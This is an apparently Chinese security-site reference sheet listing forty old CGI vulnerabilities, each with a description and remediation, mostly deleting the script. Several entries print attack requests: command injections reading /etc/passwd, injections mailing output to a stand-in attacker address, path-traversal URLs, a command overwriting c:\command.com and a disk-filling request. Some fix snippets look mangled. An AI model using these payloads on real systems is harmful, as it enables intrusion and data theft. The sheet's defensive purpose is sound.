上一篇:Sniffer:黑客入侵最常用的手段 >>
CGI安全漏洞资料速查表
描述: 如果您使用nt做为您的webserver的操作系统,而且
"wguest.exe"存在于您的web可执行目录中的话,入侵者将能利用
它阅读到您的硬盘上所有usr_用户能阅读的文件。
建议: 将wguset.exe从你的web目录移走或删除。
解决方法: 将wguset.exe从你的web目录移走或删除。
2.rguset.exe
描述: 如果您使用nt做为您的webserver的操作系统,而且
rguest.exe存在于您的web可执行目录中的话,入侵者将能利用它阅
读到您的硬盘上所有usr_用户能阅读的文件。
建议: 将rguset.exe从你的web目录移走或删除。
解决方法: 将rguset.exe从你的web目录移走或删除。
3. perl.exe
描述: 在cgi-bin执行目录下存在perl.exe,这属于严重的配置错
误。黑客可以在perl.exe后面加一串指令,利用浏览器在server上执
行任何脚本程序。
建议: perl.exe是放在任何带执行权限的web目录下都是不安全的。
解决方法: 在web目录下移除perl.exe这个程序。
4.shtml.exe
描述: 如果您使用front page作为您的webserver,那么入侵者能够
利用iusr_用户和shtml.exe入侵您的机器,做您不希
望的事。
建议: 将shtml.exe从你的web目录移走或删除。
解决方法: 将shtml.exe从你的web目录移走或删除。
5. wwwboard.pl
描述: wwwboard.pl程序容易引起攻击者对服务器进行d.o.s攻击。
建议: 如无必要可以删除该文件。
解决方法: 对get_variables的子程序中的下面这段:
if ($form) { $followup = "1";
@followup_num = split(/,/,$form);
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$form";
$origname = "$form";
$origsubject = "$form"; }
替换为:
if ($form) {
$followup = "1";
@followup_num = split(/,/,$form);
$num_followups = @followups = @followup_num;
$last_message = pop(@followups);
$origdate = "$form";
$origname = "$form";
$origsubject = "$form";
# wwwboard bomb patch
# written by: samuel sparling sparling@slip.net)
$fn=0;
while($fn < $num_followups)
{
$cur_fup = @followups $fn];
$dfn=0;
foreach $fm(@followups)
{
if(@followups[$dfn] == @followups[$fn] && $dfn != $fn)
{
&error(board_bomb);
}
$dfn++;
}
$fn++;
}
# end wwwboard bomb patch
}
6. uploader.exe
描述: 如果您使用nt作为您的webserver的操作系统,入侵者能够利
用uploader.exe上传任何文件
建议: 将uploader.exe从你的web目录移走或删除。
解决方法: 将uploader.exe从你的web目录移走或删除。
7. bdir.htr
描述: 如果您使用nt做为您的webserver的操作系统,而且bdir.htr
存在于您的web可执行目录中的话,入侵者将能利用它在您的服务器
上无止境的创建odbc数据库,并生成一些可执行的文件。
建议: 将bdir.htr从你的web目录移走或删除。
解决方法: 将bdir.htr从你的web目录移走或删除。
8. count.cgi
类型: 攻击型
描述: 在/cgi-bin目录下的count.cgi程序(wwwcount2.3版本)有一
个溢出错误,允许入侵者无须登录而远程执行任何指令。
建议: 如无必要可以删除该文件。
解决方法: 将wwwcount升级到2.4或者以上。
9. test-cgi
描述: test-cgi这个文件可以被入侵者用来浏览服务器上的重要信
息。
建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限。
解决方法: 删除test-cgi文件。
10.nph-test-cgi
描述: nph-test-cgi这个文件可以被入侵者用来浏览服务器上的重
要信息。
建议: 建议审核cgi-bin目录下的执行程序,严格控制访问权限。
解决方法: 删除nph-test-cgi文件。
11. php.cgi
描述: php.cgi程序有较多的漏洞,包括缓存溢出漏洞,还有导致任
何系统文件可以被入侵者读取的漏洞
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除php.cgi程序是最好的办法。
12.handler
描述: irix 5.3, 6.2, 6.3, 6.4的/cgi-bin/handler程序存在缓存
溢出错误,允许入侵者在server上远程执行一段程序:
telnet target.machine.com 80
get /cgi-bin/handler/whatever;cat /etc/passwd ?
data=download
http/1.0
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除handler文件。
13. webgais
描述: /cgi-bin,目录下的webgais是gais搜索工具的一个接口,它
有一个毛病使入侵者可以绕过程序的安全机制,执行系统命令:
post /cgi-bin/webgais http/1.0
content-length: 85 (replace this with the actual length of
the "exploit" line)
telnet target.machine.com 80
query=';mail+you\@your.host&domain=paragraph
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除webgais文件。
14.websendmail
描述: /cgin-bin目录下的websendmail程序允许入侵者执行一个系
统指令:
telnet target.machine.com 80
post /cgi-bin/websendmail http/1.0
content-length: xxx (should be replaced with the actual
length of the string passed to the server, in this case
xxx=90)
receiver=;mail+your_address\@somewhere.orger=a&rtnaddr=a&subject=a
&content=a
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 高级用户:编辑websendmail脚本,过滤特殊字符。
一般用户:删除websendmail文件。
15.webdist.cgi
描述: 对于irix6.2和6.3平台,/cgi-bin目录下的webdist.cgi有一
个弱点允许入侵者无须登录而在系统上执行任何指令:
_blank>http://host/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/var/www/cgi-bin/webdist.cgi目录下的
webdist.cgi。
16. faxsurvey
描述: 在linux s.u.s.e上/cgi-bin目录下的faxsurvey程序允许入
侵者无须登录就能在服务器执行指令:
linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat% " target=_blank>http://joepc.linux.elsewhere.org/cgi-bin/faxsurvey?/bin/cat%
20/etc/passwd
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/faxsurvey文件。
17. htmlscript
描述: 安装了htmlscript2.99x或者更早版本的服务器,存在一个毛
病使入侵者可以查看服务器上的任何文件:
_blank>http://www.vulnerable.server.com/cgi-
bin/htmlscript?../../../../etc/passwd
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/htmlscript脚本文件,或者将htmlscript
升级到3。0以上。
18. www-sql
描述: www-sql存在于/cgi-bin/目录下,这将导致入侵可以越权访
问被保护的文件。
建议: 最好删除www-sql文件。
解决方法: #if phpfastcgi
while(fcgi_accept() >= 0)
{
#endif
s = getenv("redirect_status");
if(!s) {
puts("content-type: text/plain\r\n\r\nphp/fi detected an
internal error. please inform sa@hogia.net of what you just
did.\n");
exit(1);
}
s = getenv("path_translated");
19.名字: view-source
描述: 在cgi-bin目录下的view-source程序没有对输入进行安全检
查,使入侵者可以查看服务器上的任何文件
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的viewsource程序。
20. campas
描述: 在cgi-bin目录下的campas程序有一个毛病可以使入侵者随意
查看server上的重要文件:
telnet www.xxxx.net 80
trying 200.xx.xx.xx...
connected to venus.xxxx.net
escape character is '^]'.
get /cgi-bin/campas?%0acat%0a/etc/passwd%0a
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的campas程序。
21.aglimpse
描述: 在cgi-bin目录下的aglimpse程序有一个毛病可以使入侵者无
须登录而随意执行任何指令
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的aglimpse程序。
22.at-admin.cgi
描述: 在excite for web servers 1.1上的/cgi-bin/at-admin.cgi
程序,允许普通用户完全控制整个系统
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的at-admin.cgi程序。
23. finger
描述: 这个位于/cgi-bin下的finger程序,可以查看其它服务器的
信息,但是如果将参数改成本机,本机上的帐号信息将暴露无遗:
/cgi-bin/finger?@localhost
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin目录下的finger程序。
24. webwho.pl
描述: 如果在您的web可执行目录中有webwho.pl这个cgi脚本,那么
入侵者将能利用他阅读启动web的用户能读写执行的任何文件。
建议: 将webwho.pl从您的web目录中删除或移走。
解决方法: 将webwho.pl从您的web目录中删除或移走。
25. w3-msql
描述: minisql软件包发行版本附带的一个cgi(w3-msql)可被用于以
httpd的uid权限执行任意代码。这个安全漏洞是由程序中的scanf()
函数引起的。
建议: 如果您安装了minisql软件包,请您将/cgi-bin/目录下的w3-
msql文件删除或移走
解决方法: 如果您安装了minisql软件包,请您将/cgi-bin/目录下的
w3-msql文件删除或移走.
26. netscape fasttrack server 2.0.1a
描述: unixware 7.1附带的netscape fasttrack server 2.0.1a存
在一个远程缓冲区溢出漏洞。缺省地,监听457端口的httpd通过http
协议提供unixware文档。如果向该服务器传送一个长度超过367字符
的get请求,会使缓冲区溢出,eip值被覆盖将可能导致任意代码以
httpd权限执行。
建议: 临时解决方法是关闭netscape fasttrack服务器。
解决方法: 临时解决方法是关闭netscape fasttrack服务器。
27. anyform.cgi
描述: 位于cgi-bin目录下的anyform.cgi程序,是用于简单表单通
过邮件传递响应的,但该程序对用户输入检查不彻底,可被入侵者利
用,在server上执行任何指令。
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法:建议升级该cgi程序,或者删除该文件。
28. whois.cgi
描述:在多个webserver中带有的whois.cgi存在溢出漏洞。它们包
括:
whois internic lookup - version: 1.02
cc whois - version: 1.0
matt's whois - version: 1
他们将使入侵者能够在您的系统上使用启动httpd用户的权限执行任
意的代码
建议: 将在您web目录中问whois.cgi删除或移走。
解决方法: 将在您web目录中问whois.cgi删除或移走。
29. environ.cgi
描述: 在apache web server或者iis等其它web server的/cgi-
bin/environ.cgi 程序,有一个毛病允许入侵者绕过安全机制,浏览
服务器上的一些文件。
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 建议升级该cgi程序,或者删除该文件。
30. wrap
描述: /cgi-bin/wrap程序有两个漏洞,均允许入侵者获取服务器上
文件的非法访问,如:
_blank>http://host/cgi-bin/wrap?/../../../../../etc
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/wrap文件。
31. edit.pl
描述: /cgi-bin/edit.pl有一个安全弱点,用下面这条命令就可以访
问用户的配置情况:
_blank>http://www.sitetracker.com/cgi-bin/edit.pl?
account=&password=
建议: 建议审核cgi-bin目录,避免有不必要的程序存在。
解决方法: 删除/cgi-bin/edit.pl文件。
32.service.pwd
描述: unix系统的
_vti_pvt/service.pwd" target=_blank>http://www.hostname.com/_vti_pvt/service.pwd可读,将暴露用户
密码信息。
建议: 建议删除
解决方法:chown root service.pwd
chmod 700 service.pwd
33.administrators.pwd
描述: unix系统的
_vti_pvt/administrators.pwd" target=_blank>http://www.hostname.com/_vti_pvt/administrators.pwd可读,将暴
露用户密码信息
建议: 建议删除
解决方法:chown root administrators.pwd
chmod 700 administrators.pwd
34.users.pwd
描述: unix系统_vti_pvt/users.pwd " target=_blank>http://www.hostname.com/_vti_pvt/users.pwd
可读,将暴露用户密码信息
建议: 建议删除
解决方法: chown root users.pwd
chmod 700 users.pwd
35. authors.pwd
描述: unix系统的
_vti_pvt/authors.pwd" target=_blank>http://www.hostname.com/_vti_pvt/authors.pwd可读,将暴露用户
密码信息
建议: 建议删除
解决方法: chown root authors.pwd
chmod 700 authors.pwd
36. visadmin.exe
描述: 在omnihttpd web server的cgi-bin目录下存在这个文件
visadmin.exe,那么攻击者只要输入下面的命令:
_blank>http://omni.server/cgi-bin/visadmin.exe?user=guest
数分钟之后服务器的硬盘将会被撑满。
建议: 建议删除。
解决方法: 把visadmin.exe从cgi-bin目录中删除
37. get32.exe
描述: alibaba的web server,其cgi-bin目录存在get32.exe这个程
序,允许入侵者任意执行一条指令:
_blank>http://www.victim.com/cgi-bin/get32.exe|echo%
20>c:\command.com
建议: 建议删除。
解决方法: 把get32.exe从cgi-bin目录中删除。
38. alibaba.pl
描述: alibaba的web server,其cgi-bin目录存在alibaba.pl这个程
序,允许入侵者任意执行一条指令:
_blank>http://www.victim.com/cgi-bin/alibaba.pl|dir
建议: 建议删除。
解决方法: 把alibaba.pl从cgi-bin目录中删除。
39. tst.bat
描述: alibaba的web server,其cgi-bin目录存在tst.bat这个程
序,允许入侵者任意执行一条指令:
_blank>http://www.victim.com/cgi-bin/tst.bat|type%
20c:\windows\win.ini
建议: 建议删除。
解决方法: 把tst.bat从cgi-bin目录中删除。
40.fpcount.exe
描述: 如果您使用nt作为您的webserver的操作平台,并只安装了
sp3补丁,那么入侵者能利用这个cgi程序进行dos攻击,使您的iis服
务拒绝访问。
建议: 将在您web目录中的fpcount.exe删除或移走。
解决方法: 将在您web目录中的fpcount.exe删除或移走
()
下一篇:浅谈如何针对DDos部署防御措施 >>
相关文章:
- · DOS攻击与天网DOS防御网关技术
- · 天网防火墙负载分担技术
- · TCP SYN Flood防御方法
- · TCP SYN Flood检测与防范
- · 使用firefox浏览器的十个理由
- · TCP SYN Flood攻击的机制
- · 微软反间谍软件与恶意软件移除工具之区别
- · PHP网站漏洞的相关总结
- · 如何更改 pcAnywhere IP 端口
- · 系统安全的最小特权原则
- · 防DDoS攻击11招
- · 轻松学习 PKI
- · PKI技术安全电子商务的基石
- · 企业防黑必备的五大策略
- · 入侵检测系统:理论和实践
- · 深度防御体系的构建
- · 让漏洞无处藏身-扫描工具大阅兵
- · 确保企业信息安全的12招
- · 了解黑客:如何跟踪发现黑客的举动
- · ASP常见的安全漏洞
- · 政府网络安全解决方案
- · ring的提权总结21种办法篇
- · 增强收发电子邮件的安全性
- · 网络安全的发展及其重要性
- · 构筑MSN的网络安全防护链
- · 特定环境下网关设错也能上网
- · 在XP安全模板中修改策略设置
- · 对Win XP进行安全分析和配置
- · 剖析网站遭遇的三次入侵 分析黑客入侵方法
- · 个人自助建站系统存在的安全隐患
- · WinXP网络及文件安全技巧总结
- · 网管利器之对抗网络钓鱼
- · 通过WEB入侵获得freebsd 4.0
- · 专业版网页木马生成器[IFRAME溢出]
- · 四种方法屏蔽网络设置
- · Google attack的利用
- · 网络防火墙与防范溢出策略
- · 搜集系统信息 谈黑客攻击前的试探技巧
